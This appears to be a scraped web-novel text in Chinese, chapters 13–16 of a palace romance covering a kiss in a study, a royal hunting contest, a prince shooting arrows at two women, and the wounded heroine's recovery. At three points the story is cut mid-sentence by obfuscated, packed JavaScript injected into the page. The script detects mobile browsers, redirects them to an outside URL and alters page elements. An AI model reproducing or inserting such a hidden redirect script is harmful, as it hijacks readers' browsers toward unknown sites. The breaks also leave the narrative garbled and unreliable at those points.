夜南国界之外,西方正是势均力敌的绥夏国境,也就是武安王坚守两年的地方,这其间只隔了一个万罗谷,据说是江湖宗门的地界。除绥夏外,周边只有一个边陲小国——十方国。 听说那醉方斋的姐弟就是来自此处。 十方国在北境之外,离皇都极近。太子曾多次奏请攻下十方,然而因它地势奇特险峭,虽小却不易攻陷。永安帝则只当它是个人少地界小的围城,从未将此事放在心上,因此也就搁置了。 夜南对域外人颇为包容,而十方人却对夜南向来忌惮,只要发现夜南的外来之客便警惕万分。若非到了绝境,她绝不愿对此地做考虑。 往东去,是她的家乡小镇,秀羽山再东边一些她就未曾涉足了。 看着图上这些并不耳熟的地名,千裔清揉了揉眉心,心中一团乱麻。 街上打更的梆子子刚响了一下,她陡然发觉天已经黑了。手边的都已阅完,她琢磨着该是放回原处,然而一抬眼,眼前的一片狼藉却让人瞋目结舌。她暗自庆幸还好陆离不在,不然定要对她刨根问底。 书阁的内室之中,各列书架上的古籍都是规整划分好的,因此她也轻易还原了位置,像是从未动过一般,空缺之处霎时被填补完好如初。 哦,还有两份图纸没来得及收起! 回身从内阁推门出去,刚一抬头,却见原本空落的书房中赫然多了个人。 容怀瑕背着一只胳膊立在书案之前,一只手轻按着图纸一角,注目之上。 千裔清讶然,忙垂眸掩饰下慌乱。待调整好面上的神色,她敛起面容,浅浅一笑上前。 “不是说今晚要留宿宫中,怎么又回来了?” “宫里住不惯便回来了。”他语中一顿看向她,“怎么,你不想我回来?” “怎么会!” 两只胳膊如枝一般缠上他的手臂,千裔清一滞,靠近他的下颌吸了吸鼻子。 这动作虽然让容怀瑕觉得不大适应,却并未推开她,只是微微拧眉:“怎么了?” 千裔清仰着头看他:“你喝酒了?” “宫宴上饮酒是常事,怎么,你闻不惯?” 千裔清摇了摇脑袋。 倒也不是,只是相识这些日子以来还从未见过他饮酒,一时有些好奇而已。 “倒 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希望如此?”千裔清眼神一亮,抓住他话中漏洞,调笑道,“这么说......殿下舍不得我?” 神色淡然的少年却蓦的别过脸,猝不及防抽出被她紧紧环着的胳膊,接着又站远了一步,将她一个人晾在一边。 似是这样还嫌不够,容怀瑕绕过书案,自顾自的在交椅落座,随手翻开手边一张涂鸦过的宣纸随意看着,瞳孔却早已失了焦距。 至于么?当她如洪水猛兽一般避之不及。 千裔清有些哭笑不得,心中顿生调戏之意,愈发大胆起来。 他避开,她就跟上。 手中的宣纸陡倏的被白皙的指尖携走,再佯装看不见就显得太假了些。 容怀瑕只好抬起头看她,却见佳人微微屈膝倚在桌沿边上,一双水眸含情脉脉,诚如那日流月坊初见,她一袭素衣翩然下台看着她的模样。 一般无二。 接着她弯腰俯身,两只玉手不带什么重量松垮地圈上他肩颈,指尖却在他颈后有意无意勾缠着他半散的一缕墨发。 她手指一动,他便忍不住战栗,偏偏又要强压着这股不适感,唯有维持着波澜不惊的模样,才算符合他生平所学的礼数。 千裔清挑眉,一个侧身坐在他腿上。她就不信容怀瑕真如柳下惠一般能够坐怀不乱。 这么想着,小臂上便紧了几分。顷刻间,男子越发不稳的呼吸萦绕在她鼻尖,手肘支在他肩头胸口,隔着厚重的华服,她好像仍能感受到对方沉重有力的心跳正在加快频率的跳动。 千裔清这才笑了,盯着他的唇吐息。 “殿下,我能不能吻你?” 若是寻常男子定扛不住这种引诱,但容怀瑕并不是寻常男子。 他移开目光,耳廓红的几乎滴出血,却还是面色不变。 “这是书阁。” 书阁乃学圣贤道,克己守礼的所在。言下之意是在怪她不合规矩了。 千裔清不是傻子,她听得出来,可她偏要坏他的规矩。 她假装听不懂,轻哼一声说:“我知道这是书阁,所以......我可以吻你吗?” 13. 动心 今夜的月亮比往常更为明亮,开着的窗子,清冷的月光。 房中未曾点灯,千裔清却觉得眼前这少年的眉目清晰依旧。 预料中的拒绝没有到来,容怀瑕没说话,却也没答应她。 “殿下不说话......我就当你是默认了?” 那她可就真亲了! 左不过是被拖着脖子丢开,她脸皮厚,经历过一次也就不觉得丢人了。 把心一横,闭着眼睛迎了上去。 夜风微凉,她的唇瓣也凉,唯有他怀抱他的唇是温温热热的,让人不由自主靠近,想更贴这份温暖。 带着淡淡酒香的呼吸从唇间溢出,不知是不是酒精作祟的缘故,容怀瑕竟是没推开她,任由她胡闹。 千裔清壮着胆子启唇,舌尖划过他干涩的嘴唇,贝齿轻轻咬上他下唇试探。 她其实并没什么经验,但她在流月坊早已司空见惯,那些姑娘嫖客们在坊中从不避讳,更为大胆的举动也是多不胜数。 这么一对比,她还算拘谨的。 在他唇上厮磨了几下,容怀瑕还是没给出半点反应。 虽然见过男女欢好之景,却着实没见过如何对个木头桩子侍弄,于是她只得放弃,微微撤开身子。 “殿下喜欢我。” 容怀瑕看着她,目光沉沉融于夜色。 他缓缓开口,声音有些喑哑:“我什么时候说过?” 千裔清扬眉笑得明媚:“殿下没推开我,难道不是因为喜欢我?” 这话不提还好,一出口,容怀瑕倒像是反应过来一样扯上她胳膊,把怀中美人一下拉开腿上,容怀瑕顺势起身,像是什么事都没发生过,背过身对着她,自顾自的抚平衣裳的褶皱。 他的动作很快,转眼又恢复成衣袂翩翩的模样。 “不必羡慕旁人,下次我带上你便是。” 撂下句没头没尾的话,容怀瑕大步离开,一步也没再回头。 千裔清站在房里反应了好一会儿,突然轻笑出声。 还说不喜欢?分明就是动心了! - 在霜序居已住了半月时间,这几日,千裔清也旁敲侧击的询问过有关他和祝音的婚事进展,也询问过永光帝对此事作何意见。 容怀瑕只说皇上并未打消这个念头,并且破天荒的对他态度缓和起来。然而想以父子亲情打动这位九皇子显然为时已晚。 容怀瑕不为所动,给他的只有拒绝。 从未表露过父爱的永光帝也不好意思逼他就范,这事只得一再搁置。 三月二十四。 这天是太子邀众皇子一同去画山围场狩猎的日子。 画山围场在皇城最北,周遭重山叠叠景色如画,因此得画山之名。 千裔清总算和祝音见上了面,两人扮着一见如故的角色,演的十分投入。 其实也并非全然在演,她们二人许久未见,好不容易见着了,还真激动的险些落泪,颇有种苦尽甘来的感觉。 佑王带来的域外宝骏共六匹,加之太子特意从御马苑牵来的两匹,总共八匹,皆是上等。 宝马已提前送至,佑王却不见踪影,兄弟三人便先是围着马匹寒暄起来。 漫山草莽斜斜的迎着风打摆子,绿地之中点点紫红色的野花点缀分外好看,掀起一阵奇异的花香。 侍卫在狩猎范围外置好了休憩所在,太子宫中跟来的侍女们也在一旁端茶倒水尽心侍候,千裔清和祝音对马术和狩猎皆是插不上什么话,便在一边旁观休息,尝尝茶点。 祝音的心情已经平复下来,她捧着花茶喝了一大口,在山上沾染的凉意才算驱散了五六分。 “来的路上听玉衡哥哥说,待会儿江尚书家的小姐也要过来呢!” 千裔清向来不问容怀瑕朝堂之事,对这姓江的自然也不了解:“哪个江尚书?” “兵部尚书江渝呀!对了——”祝音捂着嘴凑近,小声道,“他女儿名唤江依斐,也就是未来的太子妃!” “太子要娶亲了?怎么从没听说过?”千裔清一愣,忍不住远远看了一眼身着便服却掩饰不住一身贵气的男人。 他与璟王和容怀瑕不同,从头到脚皆给人一种安心的感觉,那对好看的桃花眼只需看上一眼,便让人忍不住对他所言信服。 “既然都是未来的太子妃了,江小姐为什么不和太子一起来?” 祝音伸着脑袋仍是捂嘴小声,生怕身边不远处的宫女听到她在议论太子。 “听说太子和江依斐从小就认识,太子很久以前就喜欢她,但是江尚书家教特别严苛不让她们私下往来,要不是册封之事敲定,这俩人不知道还要耽误多久呢!” 原来是青梅竹马,这太子倒是一往情深。 千裔清不由得对这位太子高看一眼,再看向他,忍不住目光中多出几分赞赏。 约莫又过了一柱香的时间,传闻中的江依斐没有见着,佑王却是终于现身了。 佑王容泽在兄弟中排行第七,比容怀瑕稍长两年,与千裔清同岁。 在朝的五位皇子,只有这位佑王她还未见过。先前在相府听说过,这位佑王不学无术、胸无大志,是个闲散王爷,但他最擅长讨皇帝欢心,尤其喜欢稀奇古怪的玩意儿,还有收集各种奇珍异宝。 这些上等马便是例子。 姗姗来迟,连太子都要屈尊等他,如此不注重礼数倒也算是应了他的人设。 还未看清人脸,华服上的金线迎着阳光先晃了她眼睛,这排场比之太子也不遑多让,忒张扬了。 “各位皇兄早啊!” “不早了,是你来得晚。” “二皇兄莫怪,昨夜贪杯,今早起的晚了些。” 千裔清听着这话嗤之以鼻,忍不住吐槽:“说是莫怪,面上倒是半分歉意也没有。” “就是!连太子都要等他,佑王也太没礼貌了。”祝音也附和道。 刚闲谈两句,远处的佑王却先注意到了交椅上的两道丽影。 他快步走来,俊逸的脸上挂着一抹轻挑,眼睛直直的落在千裔清身上。 “你是哪家的小姐,本王怎么从未见过?” 两人只好起身,恭敬的行礼。 千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太子虽面上和气,但对众兄弟皆是一碗水端平,说不上与谁更亲近。佑王则更甚,他根本没把容怀瑕当作兄弟,不过因为同为皇子表面客气罢了,否则也不会指桑骂槐暗指容怀瑕不配,以及劝他拱手让人。 本以为能破天荒的看容怀瑕发一回脾气,怎料这少年微微抿唇,斟酌了片刻却说:“七皇兄若是喜欢,我自然愿意让给你,不过——”他扫了千裔清一眼,接着沉声道,“还需征得千姑娘的同意。” 这是......把问题甩给她了? 不光千裔清,祝音也是感到诧异,更为诧异的当属璟王。 他无论如何没料到容怀瑕会说出这话来,这也...... 太没担当了! 千裔清怨恨,狠狠刮了容怀瑕一眼,她深吸口气,好容易压下心中怒火,好脾气的笑了笑,对着佑王说道:“回佑王,我不愿意。” “为什么?难道我不比他尊贵?” 他当她是什么人? 千裔清皱眉,下意识的想要反唇相讥。 太子忙拦下她的话头:“不是说选马狩猎吗?再耽误下去太阳可要下山了!七弟,你瞧瞧我带来的这两匹宝驹,可比得上你从域外引来的那几匹?” 显然,太子是来打圆场的。 千裔清这话明显不肯给他机会,佑王毕竟心高气傲的,也不想继续丢了面子,只好顺着太子递过的话下了台阶。 这一出闹剧落幕之后,几人之间分明有些微妙的气氛转变。 譬如佑王对容怀瑕越发话中带刺,譬如祝音见二人关系渐冷不知如何劝解,又譬如千裔清带着一脸的不悦再不肯正眼瞧容怀瑕一眼。 14. 选马 矾色的茶盏中飘着几缕金丝菊瓣,清香扑鼻,水面冒着袅袅热气。 千裔清已沉默好一会儿了,祝音伸出小手把茶盏悄悄推过去。 “菊花茶最是降火,姐姐喝一口吧。” 千裔清垂眸瞟了一眼,唇角一掀,冷然道:“不喝。” “呃......这百花糕是御厨做的,你不是最喜欢吃吗,要不要尝尝?” “不吃。” 祝音在桌几上扫了一圈,目光又定在一盘金桔姜丝蜜上,她堆着笑,正打算哄千裔清试试,却听见草坪上传来窸窸窣窣的声响,循声看去,容怀瑕已经站在二人面前了。 千裔清知道是他,故意别过眼不看他。 她倒不是气容怀瑕对她不上心,而是觉得自己这些时日的努力都白费了,原来在他眼中自己不过是个可以随意赠给他人的玩物,亏她还时常为自己的所作所为内疚。 真是多余了! “替我选选马?” 千裔清懒懒地掀起眼皮,冷眼瞧他:“殿下在跟我说话?” 容怀瑕一脸和煦:“不然呢?” 他这是在想法子缓和两人的关系? 可是不像啊!他这更像是当什么都没发生过。 不觉一恼,又把脸转回一旁:“我不懂马,若因此害殿下输了比赛,岂不是要被怪罪!” “不会,你只管选就是。”说罢,容怀瑕强势扯上她手腕,看着她双眼肯定道,“不论你怎么选,我都会赢。” 他这是在说选马? 千裔清盯着他的眼睛,总觉得好像不是在说马。 可若不是说马又会是什么呢? 也罢,她自知尊卑有序,耍小性子也该有个限度,便不再多言,任由他拉着跟上。 祝音眨眨眼,一脸的不解。 他们两个这是又和好了?怎么就和好了?那她刚才劝了半天又算什么? 皱了皱鼻子,抬头见容瑾正对着她好整以暇的招手,她嘴角一翘,紧接着蹦蹦跳跳的上前去了。 - 组局者是太子,他顾念容怀瑕年纪最小,便提议由容怀瑕先选。 几匹马皆由驯马人牵引着,这七匹骏马颜色各异,品种也大不相同,各有各的特点。 千裔清不懂这些,若让她选,她只能挑一匹看得顺眼的。 容怀瑕看着她:“可有看得上眼的?” 千裔清目光在几匹马身上起起落落,最终指着一匹通体雪白的河曲。“这个吧。” 容怀瑕也不犹豫,点点头道:“好。” “你不问我为什么选它?” 容怀瑕笑了笑:“你让我问我便问——为什么?” 见他一脸的迁就,千裔清却有点心虚。 “......因为它好看。” 白色的马并不稀罕,但眼前这匹河曲的毛色雪白的发亮,给她一种闪着银光的错觉,再加上马身雄壮四肢健硕,看起来十分有气势,尤其是这眼瞳,熠熠发亮,有种在人身上才能看到的桀骜之感。 这马这么好看,和容怀瑕很般配。 这理由并没让容怀瑕觉得诧异,她早说过自己不懂马,因此挑上它不外乎是由于外形的缘故。 太子挑眉:“九弟当真要选这匹?” “嗯,还请五哥割爱了。” 什么意思,这是太子的马? 太子说道:“这马性子可烈,在我宫中养了半年皆是无人驯服,九弟有把握?” 容怀瑕不在意道:“没把握,我试试吧。” 说罢,他抬手抚上马颈,一个利落的翻身上了马背。手中缰绳一扯,雪白的河曲发出一声嘶鸣,拼命的甩着长颈,意图将背上的容怀瑕丢下。 反观容怀瑕并未有一丝一毫的慌乱,反手把缰绳再扯紧了一些,侧头看了千裔清一眼,眼神中却是她从未见过的自信。 末了,他勾唇一笑,一脸的傲然和成竹在胸,这等模样千裔清是第一次见,与印象中的容怀瑕是截然不同的。 未多做他想,容怀瑕已经背过身驾马扬长而去。 觉得陌生的又何尝是她一人。 太子抚着下巴,语中带有一丝惊疑:“九弟的驭马之术何时变得这么好了?” 璟王瞥了太子一眼,目光幽幽落在佑王身上,仍是一脸的玩味:“或许他的驭马之术一直这么好呢?” 太子微微一愣,眯起眼睛看着容怀瑕远去的背影,神色复杂。 “原来是这样......有了想争的东西,便不再隐其锋芒了......” 二人你一言我一语,几句话就读懂了对方言外之意,却是没人再管佑王狠狠皱起的眉头,以及他几乎快要咬碎的牙齿。 “九弟倒是会讨姑娘欢心!”璟王佯装惋惜,叹了口气,扬起眉看向祝音,“渺渺,不然你也替我选一匹?” “啊?可是我也不懂马啊!”祝音连连摆手。 “没关系,你选自己喜欢的就是!选好了,我教你骑。” “唔——九皇子那匹马的确好看,玉衡哥哥,咱们也选匹白色的吧。” “好,就依你。”璟王拍拍她的头,牵上全场唯二的另一匹白色利川马。 “昭明,这马是你带来的,不介意二哥讨去吧?” 佑王从方才就神色恹恹,听到璟王询问,这才挤出一丝笑回道:“哪里的话,二哥喜欢尽管牵走便是!” 璟王看向太子:“齐光觉得呢?” 太子自然不屑去争一匹畜牲,他似笑非笑:“选马不过是锦上添花,我的箭术二哥还不清楚吗?” “也是。”璟王点点头,“渺渺,随我去试马。” - 直到佑王也选好了自己中意的,他迫不及待骑上马背适应,想要在待会儿的比赛中取胜之心昭然若揭。 场上只剩下太子还没动身。 千裔清疑惑:“太子殿下不为待会儿的比赛热热身?” “我方才说过,马不过是锦上添花,要想取胜,还得靠真本事说话。”他转过身,从身边侍卫手中接过长弓,颇为熟练的引弓虚发几下,琢磨着是否趁手。 这是对自己的箭术颇为自信了。 太子手上动作一顿,突然收起长弓,颇感兴趣地看向千裔清。 “半月不见,千千姑娘越发漂亮了,看来霜序居风水不错,还能养人。” “太子殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他翻身下马,手掌在马颈上轻拍两下,雪色的河曲便温顺的低下头在他身侧轻蹭两下,与去时的模样截然不同。 太子诧异道:“怎么?不过半柱香的时间你已把它驯服了?” “运气好而已。”谦逊之余,他弯着笑眼看向千裔清,“你们在聊什么?” “在聊——人遇到喜欢的东西一定会争吗?”太子轻笑,突然一声暗叹,“唉!我也该去试试马了,不然一会儿落个末数可就太难看了!” 随手将弓丢回给贴身侍卫,伸手在容怀瑕肩头按了按,暗暗递过眼色,然后很是识趣的走了。 容怀瑕问道:“那你呢?你怎么答的?” “我说——如果是我的话,一定会争的。” 容怀瑕一滞,微微低头思考起她的这番话。 “所以,喜欢就要去争……” 而后他又问道:“那你呢,你也有喜欢的、想要去争的吗?” “你想知道?赢了比赛再告诉你!”千裔清眼睫一颤,倏的卖起关子。 “你觉得我赢不了?” “狩猎重点在箭,听闻太子箭术绝伦,你有信心赢得过他?” 今日的容怀瑕仿佛终于有了贵族子弟应有的傲然,也意外的表现出年及弱冠应有的沉不住气的模样,生动鲜活起来,不再如往日一般假模假式的循规蹈矩。 “不是有信心,我本就赢得过他!” 15. 争执 冬时刚过,山里的野禽并不多,因此狩猎也更有难度。 几人简单商议一番便定好了规则,时间就定半个时辰,整个画山皆是比赛范围。依据猎物的体型比较胜负,体型越大则得分越低,体型越小则得分越高,尤其是天上飞禽捕获难度更高,也便得分更高。但每人的箭矢之数是有限的,皆分得二十支,箭矢用尽,则机会也用尽,可先行回来。 容怀瑕握着箭矢的手顿住:“对了,这马还没取名字。” 千裔清左右看看,确认这话是对着她说的。 “殿下是要我为它取名?” 容怀瑕点头,嘴角泛着一丝笑意:“你随意想个便是。” 可是......她胸中无甚文墨,信口胡诌不光是丢自己的脸,还要给容怀瑕丢脸! 千裔清为难,手指在袖中紧张地绞着,只恨自己幼时没多听母亲念几首词。 倏的,脑中灵光一闪,她记起父亲曾对着家中古琴念叨的一句话,不过却不懂是什么意思。 “遐方。” 容怀瑕一滞,了然地点头,沉吟道:“绝峤龙闲能致远,遐方珍贡自乘时。” 他摸了摸马颈上的鬃毛,“好,就叫遐方。” - 狩猎比赛随着一声锣响开始,几匹快马载着各自的主人转瞬消失在眼前空地,闯入各方密林。 千裔清松了口气,总算不用面对几位皇族的重重威压,她不是祝音,没有丞相的庇护,也没有璟王的偏爱,事事都要更加小心一些。 “不是说江小姐会来吗?怎么到现在都不见她?” “唔——我也不知道,可能是江尚书不允吧,毕竟她和太子还没正式成婚,女儿家守些礼节也是应该的。” 两个女儿家就这么你一言我一语的随意聊着。 祝丞相没有再与祝音提起过赐婚之事,永光帝只是把重心放在了自己的儿子身上,可惜也没成功。 倒是璟王越来越不避讳和祝音之间的相处。从前在相府,千裔清只知道两人关系亲近,璟王虽然待祝音不错,但说是兄妹间的亲近倒也合情合理。 然而今日所见,的确与前些日子不大相同了。 虽然不知道璟王是如何想通的,也不清楚他是不是也有什么计划,千裔清只觉得这样也挺好,若能早些促成两人好事,也不必她在容怀瑕身上下功夫了。 “欸?那不是佑王吗?” “是啊!佑王殿下怎么这么快就回来了?” “嘘——小点声,没看到佑王脸色不好吗!” 铜锣下的粗厚燃香才烧了二分之一,代表着赛时刚刚过半。 千裔清循着议论声瞧过去,只见佑王果然一脸愠色地下了马,身后跟着的侍从一个提着寥寥两只山兔,另一个托着一只奄奄一息的野鹿。 二十支箭矢全数不见,只猎了这些东西来? 难怪他会生气了。 祝音往佑王身后张望,疑惑道:“昭明哥哥,你怎么这么快就回来了?” 佑王瞪了她一眼,一面接过侍从递来的菊花茶喝了一口,骂道:“该死的鼯崽子,居然叼走我的箭囊害我输了比赛!” “殿下,您的箭袋里本来也不剩几支了......” “多嘴!”佑王一巴掌把人拍翻在地。 也怪这人实在是没眼色,这种话也能当着佑王的面上说,怕是个新来的不懂规矩。 千裔清噙着嘲笑,淡淡地看着眼前这一幕,直到佑王一抬眼扫了过来,她忙敛起笑意,轻咳一声别过脸,假装什么都不知道的样子。 但为时已晚,佑王踏着四方步,居高临下的看着交椅上的美人儿。 “你笑什么?” 千裔清只好站起来,敷衍的微微欠身行礼。 “回佑王殿下,您看错了。” 佑王危险地眯起眼,又想起头先被她出言拒绝驳了面子,心头顿时气不打一处来。 他突然扬唇一笑:“本王方才没玩儿尽兴,千千姑娘,要不你陪本王玩玩?” 他这是要把怒气撒在自己身上。 千裔清余光瞟了眼正燃着的线香,心中暗道时间还早,几位皇子怕是一时半会回不来。 “千千身份低微,不配供佑王殿下取乐。” “既知身份低微就该自称奴婢!怎么,容怀瑕没教过你礼数?” 自小骄纵的皇嗣怒意上头,当真是不管不顾什么话都说的出口了。 千裔清只好耐着性子顺着佑王的意,低头又施了一礼,说道:“回佑王,殿下离宫多年,府上没那么多礼数,因此允许我不用自称奴婢。若因此惹了您不痛快,奴婢向您请罪。” “千千姐姐——”祝音听到这话也不免为她打抱不平,这佑王显然是故意找麻烦。 “佑王!千千姐姐是九皇子的人,和玉衡哥哥也是老相识了,你总要看在他们的面子上收敛一些!” “哦?”佑王一挑眉,转脸看着祝音说道,“我可是父皇最疼爱的儿子,你怎敢拿两个不受宠的来威胁我?祝音,我念在祝丞相是朝中老人,你可不要太过分了!” 祝音到底是年纪小经不起激怒,听到璟王和父亲都被佑王拿出来取笑,霎时叉着腰毫不示弱:“到底是谁过分!这话你可敢当着玉衡哥哥的面再说一次?佑王殿下,我们几人也算是自小相识,你——不、要、太、过、分!” “祝音!”千裔清不由为她一把汗,急忙拦下她更多的口无遮拦。 并非怕祝音得罪了佑王,祝音家世雄厚,璟王也不是俗人,她相信永光帝不会真的纵容了佑王去责罚祝音。 只是佑王本就是个心眼儿小的,现在又正在气头上,祝音再这么讥讽下去,真不知道会惹得佑王会做出什么事来! “你——”佑王指着她的鼻子,怒极反笑,“好!好!好!” 他一连说了三声“好”,一字一句,显然已经气到极致。 接着佑王转身走远,从马背上一把扯下猎弓,随手在拾起一根箭矢搭在弦上,箭头竟是直指祝音! 千裔清闪身拦在祝音面前,急道:“佑王殿下,你想做什么!” “让开!”佑王呵斥一声,手上动作却并未有分毫犹豫。 祝音俏脸一凛:“姐姐你让开!我就不信他真敢杀了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899851|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 祝音自小娇养在相府,身边惯事逆来顺受的,即便有什么事也有人照拂,自然不会看人心思,但千裔清不同,她凝神看着佑王,心下便有了几分了解。 他未尝不敢! 身边的几名侍卫忙上前阻止,但碍于佑王身份尊贵,他们也只是出言相劝,不敢伸手拦他。 “千裔清,你想替她死?” “祝音是祝丞相唯一的女儿,佑王殿下如此行事难道不怕皇上怪罪!” “我怕不怕,你待会儿就知道了。” 佑王一声冷笑,搭在弦上的几根手指倏的一松。 “咻——” 箭已离弦,再无反悔余地。 千裔清兀的推开祝音,两人错身倒地,千裔清在前,这一下便由着箭矢擦身而过。 “嘶——”好疼。 她侧头一看,手臂上赫然一道箭痕,殷红的血迹正肆无忌惮的向外淌着,伤口不浅。 “千千姐姐!”祝音忙扶起她,狠狠瞪着佑王,“你敢伤她!” “敢不敢的都已经伤了。”佑王随手又搭上一根箭翎,摆好架势,这次瞄准了祝音,“现在轮到你了。” 反正是已经伤了,大不了再伤一次,只是不知道这次还有没有好运气能躲过了。 千裔清轻瞟了一眼香案,那根燃香仅剩下四分之一。 就算真被射伤,应该也不至于当场毙命......能撑到他们回来吧? 捂着手臂的白皙指缝已经被鲜红浸染,血流不止。然而被寒风吹着,她也不觉得有多疼了。 沉了沉心神,千裔清扬起小脸看向佑王,脸上尽是坚定:“佑王殿下,我是死是活都无所谓,不过奴婢斗胆再问您一句,您真要得罪璟王殿下和祝丞相吗?” 佑王神色一凛,蓦的把箭头方向移了三寸,闭着一只眼将手中利箭瞄准了千裔清正一开一合的双唇。 “你这张嘴,本王见了就心烦!” 又是“咻”的一声,箭羽再次袭来,直冲千裔清的脸上,然而这次他话未说完就松了手指,全然没给她留一些反应时间。 透着冷意的铁箭越来越近,几乎要到眼前,她心中陡然生出许多悲凉。 她很怕死,许多年来低眉顺眼处处心机的应对众人不过是为了保全性命罢了。 可她好像还是要死了...... 箭心的圆点快到让人眼前模糊,她下意识地缩紧脖子,正欲闭上眼迎接死亡。 “叮”的一声,一道更为迅速的箭羽从一侧飞来,如线影闪过,发出清脆的响声,竟是迎面撞上了眼前这道箭羽。两只利箭相交,就这么在她眼前双双落地。 千裔清往另一支箭的方向看去,只见容怀瑕一翻手腕,正将弯弓收回背后,身后远远的还跟着几名宫中的侍从,已被雪色的遐方甩开很长一段的距离。 随着河曲马的嘶鸣,两只前蹄高高扬起掀起一层尘雾,还未站稳,少年已经纵身落地,几步上前。 “千千!”容怀瑕目光落在她正在渗血的手臂,脸上的紧张之色再也掩藏不住。 千裔清一怔:“你叫我什么?” 16. 坦诚 捏着她小臂的手指关节攥的发白,他眼中神色似是一忍再忍,终是按下了更甚的怒意。 大约是见她并未有性命之危,容怀瑕垂下眼睑,再偏头看向他这位皇兄之时竟是前所未有的冷色。 人人皆知九皇子尊敬兄长,这么冰冷的眼神饶是身边跟着的侍卫瞧见都觉得陌生,不由自主打了个冷颤。 “七皇兄,你这是做什么?”容怀瑕仍唤他一声七皇兄,面上却再无礼让之色,反倒更像质问。 佑王不得不承认,头一次瞧见这位皇弟预备发脾气,他有点措手不及。但从来不叫唤的狗哪怕再怒,不过也就是多吠两声而已,想到这里,佑王又自觉宽心了。 他一脸不屑道:“九弟莫怪,为兄本来是要教训祝音这丫头,不过这位千千姑娘实在是不知死活,硬要挡在她面前,为兄也实属无奈啊!” 容怀瑕缓缓松开千裔清,而后背过双手挺直腰背面向佑王,竟是生出了几分王侯厉色。 他沉声说道:“是么,这么说皇兄方才那支箭矢是射偏了才指向她的?” “唔——”佑王摸了摸下巴,抱着双臂笑道,“也可以这么说。” 容怀瑕一挑唇角,余光跳至身边的祝音,冷然道:“祝小姐可听清楚了?” 祝音老老实实点头,不明白他是什么用意。“听清楚了。” “既然听清楚了,记得如实向二哥和祝丞相说明,也省得旁人以为是我容怀瑕的人牵连了祝小姐。” 正说着,阵阵马蹄声越来越近,祝音回头一看,却见太子等人皆是归来,她这下明白了,心中也安定下来。 “九皇子放心,祝音有分寸!” “千千身上有伤,我便带她先回去了。” 说完,容怀瑕揽着她肩头,又怕触到她大臂上的伤口,只得虚虚的勾着,缓缓离开。 - 四四方方的马车之内,车夫特意将车驾的又稳又缓。遐方则由府上的小厮牵着并行。 她臂上只是简单的缠了几圈,不过血势已经止住,只剩下嘴唇有些发白。 容怀瑕脸色并不好看,隔着千裔清坐了好远,却又总时不时的打量她一眼,看起来有点儿滑稽。 千裔清有些好笑的看着他:“你离我这么远做什么?” 容怀瑕淡淡看她一眼,别过脸像是在闹脾气:“你没事招惹佑王做什么?” “我可没招惹他!殿下刚才没听见吗?我这是为了救祝小姐。”千裔清无奈道。 她不提还好,这下突然把容怀瑕心中好长时间的疑虑勾了出来。 “你与祝小姐何时这么要好了?” 千裔清从容道:“我与祝小姐的确一见如故,不过我帮她并非交情多深,而是为了报答璟王。若非璟王,恐怕我也没机会跟着殿下。” “你这算是舍生取义?” 她故意装作听不出反话,弯了弯笑眼:“谢殿下夸奖。” “哼。” - 是夜,换好新药,绛雪将沾了血的纱布丢干净,又给房里的窗子全都关紧,确认钻不进什么风了。 绛珠抱着新换的花瓶摆在房内,血腥味散尽,取而代之的是天然好闻的花香。 她回身打算把药碗收拾出去,却看见千裔清一只手捧着话本倚在榻上,碗中的药却是一口没动。 “姑娘......这药都凉了......” 千裔清一抬眼,随意看她一眼又把目光落在手中的话本上:“嗯,先放那吧。” “奴婢知道您嫌苦,可不喝药怎么好呢?” “不是上过药了吗?” 昨夜喝过一碗已是她最大的诚意,她就奇了怪了,分明是外伤,一天两次的换药不够,还喝这些苦兮兮的渣子做什么! 绛珠为难道:“璟王殿下特意请来御医给您医治,您要是不喝岂不是驳了璟王的面子?” “我帮了他的心上人,这是给他面子才对!不喝不喝,拿走吧。”她随手又翻过一页,看得津津有味。 绛雪和绛珠对视一眼,只好退让一步:“那奴婢再去给您温一下。” 房门“吱呀”关上,千裔清捏了捏发酸的脖颈,支着的一条手臂移了几分位置,换个姿势继续看她的话本。 方几上的烛火忽闪了几下,快要燃尽了,怪不得她总觉得看起来有些费眼。 没过一会儿,房门又发出声响,似是被人从外头又推开了。 准是绛雪把药温好又送过来了,她揉着眼随口道:“你来的正好,这灯有些暗了,去替我换一盏来。” “既然暗就别看了,当心看坏眼睛。” 听到这声音,千裔清一个激灵,脖子上的汗毛都跟着立起。 她一抬头,果然见容怀瑕冷着脸站在面前。 “殿下还没睡啊。” 容怀瑕没答,在一侧坐下,随手抽走她手肘下的话本:“为什么不喝药?” “太苦了。” 她自小就怕苦,为了不喝药,也是尽可能的不让自己生病。实在没法子了,她就偷偷把药倒掉,父母每次都十分好奇,怎么这孩子病总是好的比别人家慢,还以为是她体质不好。 “不是给你准备了蜜饯?” 千裔清一脸坦然:“吃了蜜饯,药就不苦了吗?殿下放心吧,小伤而已,不用这么讲究!” “千姑娘——” 容怀瑕还想劝她,千裔清却不愿听,捂着耳朵回避:“殿下怎么又叫我千姑娘,这么生分!昨日不是还唤我千千的吗?” “生分?”他一挑眉梢,狭长的眼尾跟着翘起,“你不是也称呼我殿下?到自己身上却不说生分了。” 千裔清巴结道:“您身份尊贵,叫您殿下是礼数!” 容怀瑕听出她话中的揶揄,却也不计较,目光落在推门而入的绛雪手上——她正捧着刚热好的药碗进来。 “把药喝了。”语中是不容拒绝的坚持。 绛雪没想到九皇子也在,先是一愣,而后把药放下,捂着嘴偷笑起来。 有殿下在,姑娘这次是赖不掉了。 